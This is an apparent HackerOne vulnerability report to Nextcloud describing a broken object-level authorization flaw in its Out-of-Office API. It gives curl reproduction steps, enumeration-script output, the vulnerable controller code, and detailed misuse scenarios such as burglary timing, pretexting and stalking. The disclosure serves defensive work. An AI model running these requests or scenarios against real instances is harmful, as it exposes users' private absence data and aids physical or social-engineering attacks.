BOLA/IDOR in Out-of-Office API allows any authenticated user to read other users' absence data

Disclosed: 2026-04-14 18:48:25 By cyberjoker To nextcloud
Medium
Vulnerability Details
## Summary The Out-of-Office (OOO) API endpoints at `/ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}` and `/ocs/v2.php/apps/dav/api/v1/outOfOffice/{userId}/now` suffer from a Broken Object Level Authorization (BOLA) vulnerability. Any authenticated user can retrieve the out-of-office data of any other user by manipulating the `userId` path parameter, without any ownership validation. The vulnerable endpoints are marked with `#[NoAdminRequired]`, meaning any logged-in user can access them. However, the controller (`OutOfOfficeController.php`) does not verify that the authenticated user is requesting their own data. This allows unauthorized access to sensitive personal information including: - Vacation start and end dates - Personal absence messages (which may contain phone numbers, travel destinations, health information) - Replacement contact user IDs and display names - Real-time absence status This violates user privacy expectations and exposes sensitive data that could be used for social engineering, physical security threats (e.g., knowing when someone's home is empty), or corporate intelligence gathering. --- ## Steps To Reproduce ### Prerequisites - Nextcloud server with version 32.0.0.13 (tested and confirmed vulnerable) - Two user accounts: "bob" (attacker) and "alice" (victim) - Alice has configured out-of-office data ### Reproduction Steps **Step 1**: Create test environment Set up a Nextcloud 32.0.0 instance with at least two users: ```bash # Create users via OCC command export OC_PASS=alice_password_123 docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Alice Johnson" alice export OC_PASS=bob_password_123 docker exec -e OC_PASS -u www-data nextcloud-app php occ user:add --password-from-env --display-name="Bob Attacker" bob ``` **Step 2**: Generate app passwords for testing ```bash # Generate token for Alice (victim) export NC_PASS=alice_password_123 docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password alice --password-from-env # Output example: 8m3Ea371mGIv21uxXjZfyJCKMxHw3pq7KGxNXiRoGgESGcDEqRfaGMAmplV8HvweKAgZ82CS # Generate token for Bob (attacker) export NC_PASS=bob_password_123 docker exec -e NC_PASS -u www-data nextcloud-app php occ user:add-app-password bob --password-from-env # Output example: nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv ``` **Step 3**: Configure Alice's out-of-office data Using Alice's token, set her out-of-office with sensitive information: ```bash curl -X POST "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \ -H "Authorization: Bearer 8m3Ea371mGIv21uxXjZfyJCKMxHw3pq7KGxNXiRoGgESGcDEqRfaGMAmplV8HvweKAgZ82CS" \ -H "OCS-APIRequest: true" \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "firstDay=2025-12-20" \ -d "lastDay=2026-01-05" \ -d "status=On vacation" \ -d "message=Away on family vacation in Aspen. Cell: 1-555-0123." # Response: HTTP 200 OK - Data configured successfully ``` **Step 4**: Exploit the BOLA vulnerability As user "bob", request alice's out-of-office data using Bob's token: ```bash curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice" \ -H "Authorization: Bearer nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv" \ -H "OCS-APIRequest: true" ``` **Expected behavior** (secure): HTTP 403 Forbidden - bob should not be able to access alice's data **Actual behavior** (vulnerable): HTTP 200 OK with full OOO data: ```json { "ocs": { "meta": { "status": "ok", "statuscode": 200, "message": "OK" }, "data": { "id": 1, "userId": "alice", "firstDay": "2025-12-20", "lastDay": "2026-01-05", "status": "On vacation", "message": "Away on family vacation in Aspen. Cell: 1-555-0123.", "replacementUserId": "", "replacementUserDisplayName": "" } } } ``` **VULNERABILITY CONFIRMED**: Bob successfully accessed Alice's private out-of-office data including: - Vacation dates (December 20, 2025 - January 5, 2026) - Travel destination (Aspen) - Personal phone number (1-555-0123) - 17-day absence period **Step 5**: Verify real-time status endpoint also vulnerable ```bash curl -s "http://localhost:8088/ocs/v2.php/apps/dav/api/v1/outOfOffice/alice/now" \ -H "Authorization: Bearer nmKXt1JUaq6fyZtHW6JRTX5N1juQRIVPFpOxtsLYjRzzSbDBWmK5kajsSNDO1ptVcmmb30Jv" \ -H "OCS-APIRequest: true" ``` Returns alice's current absence status without authorization check. **Step 6**: Mass enumeration demonstration Automated Python script successfully enumerated multiple users: ```bash # Using the provided exploit_bola.py script uv run python exploit_bola.py # Output: # ============================================================ # Nextcloud Out-of-Office BOLA Exploit # ============================================================ # [*] Starting enumeration of 5 users... # [*] Checking: admin... ❌ No data # [*] Checking: alice... ✅ OUT OF OFFICE FOUND # First Day: 2025-12-20 # Last Day: 2026-01-05 # Message: Away on family vacation in Aspen. Cell: 1-555-0123. # [*] Checking: bob... ❌ No data # [*] Checking: charlie... ❌ No data # [*] Checking: dave... ❌ No data # # [+] Extracted OOO data for 1 users # [+] Results saved to: ooo_leak.json ``` **Exported Data** (ooo_leak.json): ```json { "alice": { "id": 1, "userId": "alice", "firstDay": "2025-12-20", "lastDay": "2026-01-05", "status": "On vacation", "message": "Away on family vacation in Aspen. Cell: 1-555-0123.", "replacementUserId": "", "replacementUserDisplayName": "" } } ``` This demonstrates successful mass enumeration and data exfiltration capability. --- ## Supporting Material/References ### Code References **Vulnerable Controller**: `apps/dav/lib/Controller/OutOfOfficeController.php` Lines 79-100 (getOutOfOffice method): ```php #[NoAdminRequired] #[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}')] public function getOutOfOffice(string $userId): DataResponse { try { // ⚠️ VULNERABILITY: No ownership validation // Missing check: if ($this->userId !== $userId) { return new DataResponse([], Http::STATUS_FORBIDDEN); } $data = $this->absenceService->getAbsence($userId); if ($data === null) { return new DataResponse([], Http::STATUS_NOT_FOUND); } } catch (DoesNotExistException) { return new DataResponse([], Http::STATUS_NOT_FOUND); } return new DataResponse([ 'id' => $data->getId(), 'userId' => $data->getUserId(), 'firstDay' => $data->getFirstDay(), 'lastDay' => $data->getLastDay(), 'status' => $data->getStatus(), 'message' => $data->getMessage(), // ⚠️ May contain sensitive personal information 'replacementUserId' => $data->getReplacementUserId(), 'replacementUserDisplayName' => $data->getReplacementUserDisplayName(), ]); } ``` Lines 52-68 (getCurrentOutOfOfficeData method): ```php #[NoAdminRequired] #[ApiRoute(verb: 'GET', url: '/api/v1/outOfOffice/{userId}/now')] public function getCurrentOutOfOfficeData(string $userId): DataResponse { $user = $this->userManager->get($userId); if ($user === null) { return new DataResponse([], Http::STATUS_NOT_FOUND); } try { // ⚠️ VULNERABILITY: No ownership validation $data = $this->absenceService->getCurrentAbsence($user); if ($data === null) { return new DataResponse([], Http::STATUS_NOT_FOUND); } } catch (DoesNotExistException) { return new DataResponse([], Http::STATUS_NOT_FOUND); } return new DataResponse($data->jsonSerialize()); } ``` **Route Definitions**: `apps/dav/appinfo/routes.php` (lines 12-18) **Comparison with Secure Endpoint**: For reference, the `setOutOfOffice` method (lines 117-168) correctly validates ownership: ```php #[NoAdminRequired] #[ApiRoute(verb: 'POST', url: '/api/v1/outOfOffice')] public function setOutOfOffice(...): DataResponse { // ✅ SECURE: Gets current user from session $user = $this->userSession?->getUser(); if ($user === null) { return new DataResponse([], Http::STATUS_UNAUTHORIZED); } // Only operates on authenticated user's own data $data = $this->absenceService->createOrUpdateAbsence($user, ...); return new DataResponse($data->jsonSerialize()); } ``` The GET endpoints should follow the same pattern. ### Lab Environment I have created and tested a complete Docker-based lab environment: - **Location**: Attached `testing_lab_and_guides.zip` - **Platform**: Tested on macOS (Apple Silicon) with Docker Desktop - **Nextcloud Version**: 32.0.0.13 (confirmed vulnerable) - **Database**: MariaDB 11.4 - **Setup time**: ~10 minutes - **Status**: ✅ **Vulnerability confirmed in live testing** ## Impact ### Security Impact An attacker with any authenticated user account can: 1. **Enumerate all users' out-of-office data** across the entire Nextcloud instance 2. **Access sensitive personal information** including: - Exact vacation dates (when homes are empty) - Personal contact information (phone numbers, alternate emails) - Travel destinations and plans - Medical or family emergency details - Internal replacement contact chains 3. **Monitor real-time absence status** to know when specific users are currently unavailable ### Real-World Attack Scenarios #### Scenario 1: Physical Security Threat (Home Burglary) **Likelihood**: MEDIUM-HIGH - Attacker is a disgruntled employee or external threat with compromised credentials - Enumerates OOO data for executives and high-value employees - Discovers: "CEO away Dec 24 - Jan 7, family vacation in Europe" - Cross-references with public information (LinkedIn, company website) to identify home address - Plans burglary during confirmed absence period - **Impact**: Property theft, physical security breach #### Scenario 2: Social Engineering Amplification **Likelihood**: HIGH - Attacker discovers: "Alice on maternity leave until March. Contact HR for urgent matters." - Uses this context to call HR: "Hi, this is Alice's insurance provider. Need to verify her coverage for the baby..." - OOO context provides legitimacy and reduces suspicion - **Impact**: Identity theft, PII disclosure, insurance fraud #### Scenario 3: Corporate Espionage **Likelihood**: MEDIUM - Competitor creates account via public registration (if enabled) - Enumerates OOO for entire R&D department - Discovers: "All engineers away Oct 15-20 - attending conference" - Identifies the conference (probably TechCrunch Disrupt) - Sends targeted phishing to replacement contacts about "urgent security patch" - **Impact**: Intellectual property theft, data breach, competitive disadvantage #### Scenario 4: Stalking / Harassment **Likelihood**: MEDIUM - Attacker has personal motivation to track victim - Continuously monitors victim's OOO status - Tracks travel patterns: "Every Friday afternoon - yoga retreat", "Vacation in Bali Nov 1-14" - Uses information for physical stalking or harassment - **Impact**: Personal safety threat, restraining order violations, psychological harm #### Scenario 5: Insider Threat Intelligence **Likelihood**: HIGH - Low-privilege employee wants to understand organizational dynamics - Enumerates management team's OOO patterns - Identifies optimal times for unauthorized activities (when supervisors are absent) - Maps internal escalation chains via replacement contact fields - **Impact**: Internal security circumvention, privilege escalation planning ### Privacy & Compliance Impact #### GDPR (European Union / EEA) This vulnerability constitutes a **personal data breach** under GDPR Article 4(12) - unauthorized disclosure of personal data. **Article 32 - Security of Processing**: - Lack of proper authorization controls constitutes a failure to implement appropriate technical measures - Organizations must notify supervisory authorities within 72 hours of becoming aware (Article 33) - Subject to administrative fines under Article 83 **Article 9 - Special Categories of Personal Data** (Conditional): - OOO messages may contain special-category data (health, family status) - Examples: "Medical leave for surgery", "Maternity leave", "Family emergency" - If special-category data is processed without proper safeguards, Article 83(5) penalties apply **Consequences**: - Breach notification to supervisory authority required - Potential notification to affected data subjects - Administrative fines (tiered based on infringement severity) - Regulatory scrutiny and reputational damage #### CCPA/CPRA (California) **Government Enforcement**: - Unauthorized disclosure of personal information without proper access controls - California Attorney General or Privacy Protection Agency may seek civil penalties - Per-violation fines (differentiated between unintentional and intentional violations) **Private Right of Action** (Limited): - Consumer lawsuits apply only for breaches of specific data elements defined in Cal. Civ. Code § 1798.81.5(d) - Examples: login credentials, SSN, medical/health-insurance information - Generic OOO data (vacation dates, phone numbers) typically does not trigger private right of action - Organizations should assess whether exposed data meets statutory thresholds #### HIPAA (Healthcare - Conditional) **Applicability**: - Applies **only** to HIPAA-covered entities (healthcare providers, plans) and business associates - OOO messages become Protected Health Information (PHI) only when created/held by covered entities - Many corporate Nextcloud deployments are **not** HIPAA-regulated **If Applicable**: - Examples of PHI in OOO: "Out for chemotherapy treatment", "Medical procedure recovery" - Tiered civil monetary penalties (per violation, inflation-adjusted annually) - Potential HHS Office for Civil Rights investigation - Breach notification requirements under HITECH Act ### Business Impact 1. **Workforce Availability Intelligence**: Competitors can track key personnel availability 2. **Executive Vulnerability Mapping**: Identify high-value targets and their schedules 3. **Internal Contact Chain Discovery**: Map organizational structure via replacement users 4. **Operational Security Failure**: Enemies know when specific users are unavailable 5. **Trust Violation**: Users expect privacy in personal absence information ### Technical Impact Summary | Impact Category | Severity | Description | |-----------------|----------|-------------| | **Confidentiality** | **HIGH** | Complete disclosure of target user's OOO data | | **Integrity** | None | No data modification through this vulnerability | | **Availability** | None | No service disruption | | **Privacy** | **CRITICAL** | Personal information, travel plans, contact details exposed | | **Compliance** | **HIGH** | GDPR breach notification requirements, potential regulatory fines | | **Physical Security** | **MEDIUM** | Home burglary intelligence via absence dates |
Actions
View on HackerOne
Report Stats
  • Report ID: 3382343
  • State: Closed
  • Substate: informative
Share this report